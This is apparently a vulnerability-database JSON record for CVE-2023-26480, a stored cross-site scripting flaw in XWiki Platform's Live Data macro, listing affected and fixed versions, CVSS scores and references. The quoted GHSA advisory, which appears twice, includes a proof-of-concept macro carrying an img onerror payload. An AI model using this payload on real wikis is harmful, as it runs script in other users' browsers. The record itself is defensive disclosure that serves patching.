{"id":"CVE-2023-26480","aliases":["EUVD-2023-0840","GHSA-32fq-m2q5-h83g"],"status":"published","title":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","description":"XWiki Platform is a generic wiki platform. Starting in version 12.10, a user without script rights can introduce a stored cross-site scripting by using the Live Data macro. This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. There are no known workarounds.","severity":{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00671,"percentile":0.5246,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2023-03-02T17:09:18Z","modified":"2026-10-28T10:38:33Z","fixes":[{"ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","fixed_in":["13.10.10","14.4.7","14.9"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.10"},{"fixed":"13.10.10"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0"},{"fixed":"14.4.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.5"},{"fixed":"14.9"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.10"},{"fixed":"13.10.10"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0"},{"fixed":"14.4.7"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.xwiki.platform:xwiki-platform-livedata-macro","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.5"},{"fixed":"14.9"}]}]}],"products":[{"vendor":"xwiki","product":"xwiki"},{"vendor":"xwiki","product":"xwiki-platform"}],"references":[{"url":"https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-32fq-m2q5-h83g","tags":["x_refsource_CONFIRM","x_transferred","Vendor Advisory","advisory","web"]},{"url":"https://github.com/xwiki/xwiki-platform/commit/23d5ea9b23e84b5f3d1f1b2d5673fe8c774d0d79","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/xwiki/xwiki-platform/commit/556e7823260b826f344c1a6e95d935774587e028","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://jira.xwiki.org/browse/XWIKI-20143","tags":["x_refsource_MISC","x_transferred","Exploit","Issue Tracking","Vendor Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-26480","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-32fq-m2q5-h83g"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/26xxx/CVE-2023-26480.json","tags":["advisory"]},{"url":"https://github.com/xwiki/xwiki-platform","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-26480","title":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","description":"XWiki Platform is a generic wiki platform. Starting in version 12.10, a user without script rights can introduce a stored cross-site scripting by using the Live Data macro. This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. There are no known workarounds.\n","status":"published","published":"2023-03-02T17:09:18.909Z","modified":"2025-03-05T20:50:21.886Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:35:15.434947Z"}],"euvd":[{"id":"EUVD-2023-0840","description":"XWiki Platform is a generic wiki platform. Starting in version 12.10, a user without script rights can introduce a stored cross-site scripting by using the Live Data macro. This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. There are no known workarounds.\n","status":"published","published":"2023-03-02T17:09:18Z","modified":"2025-03-05T20:50:21Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T20:53:11.987115Z"}],"ghsa":[{"id":"GHSA-32fq-m2q5-h83g","title":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","description":"### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro.\n\nFor instance:\n\n```\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n  \"data\": {\n    \"count\": 1,\n    \"entries\": [\n      {\n        \"title\": \"Meet John Doe\",\n        \"url\": \"https://www.imdb.com/title/tt0033891/\",\n        \"description\": \"\u003cimg onerror='alert(1)' src='foo' /\u003e\"\n      }\n    ]\n  },\n  \"meta\": {\n    \"propertyDescriptors\": [\n      {\n        \"id\": \"title\",\n        \"name\": \"Title\",\n        \"visible\": true,\n        \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n      },\n      {\n        \"id\": \"description\",\n        \"name\": \"Description\",\n        \"visible\": true,\n        \"displayer\": \"html\"\n      }\n    ]\n  }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.9, 14.4.7, and 13.10.10.\n\n### Workarounds\nNo known workaround.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-20143\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)\n","status":"published","published":"2023-03-03T22:53:51Z","modified":"2023-03-03T22:53:53Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:36:46.526285Z"}],"nvd":[{"id":"CVE-2023-26480","description":"XWiki Platform is a generic wiki platform. Starting in version 12.10, a user without script rights can introduce a stored cross-site scripting by using the Live Data macro. This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. There are no known workarounds.\n","status":"published","published":"2023-03-02T18:15:11.407Z","modified":"2026-06-17T05:43:25.743Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:07:48.342507Z"}],"osv":[{"id":"CVE-2023-26480","title":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","description":"XWiki Platform is a generic wiki platform. Starting in version 12.10, a user without script rights can introduce a stored cross-site scripting by using the Live Data macro. This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. There are no known workarounds.\n","status":"published","published":"2023-03-02T17:09:18.909Z","modified":"2026-10-28T10:38:33.116989404Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:31.135751Z"},{"id":"GHSA-32fq-m2q5-h83g","title":"XWiki-Platform vulnerable to stored Cross-site Scripting via the HTML displayer in Live Data","description":"### Impact\nA user without script rights can introduce a stored XSS by using the Live Data macro.\n\nFor instance:\n\n```\n{{liveData id=\"movies\" properties=\"title,description\"}}\n{\n  \"data\": {\n    \"count\": 1,\n    \"entries\": [\n      {\n        \"title\": \"Meet John Doe\",\n        \"url\": \"https://www.imdb.com/title/tt0033891/\",\n        \"description\": \"\u003cimg onerror='alert(1)' src='foo' /\u003e\"\n      }\n    ]\n  },\n  \"meta\": {\n    \"propertyDescriptors\": [\n      {\n        \"id\": \"title\",\n        \"name\": \"Title\",\n        \"visible\": true,\n        \"displayer\": {\"id\": \"link\", \"propertyHref\": \"url\"}\n      },\n      {\n        \"id\": \"description\",\n        \"name\": \"Description\",\n        \"visible\": true,\n        \"displayer\": \"html\"\n      }\n    ]\n  }\n}\n{{/liveData}}\n```\n\n### Patches\nThis has been patched in XWiki 14.9, 14.4.7, and 13.10.10.\n\n### Workarounds\nNo known workaround.\n\n### References\nhttps://jira.xwiki.org/browse/XWIKI-20143\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira](http://jira.xwiki.org/)\n* Email us at [Security ML](mailto:security@xwiki.org)\n","status":"published","published":"2023-03-03T22:53:51Z","modified":"2026-09-10T03:49:52.549164585Z","cvss":[{"version":"3.1","score":8.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:35.050232Z"}]}}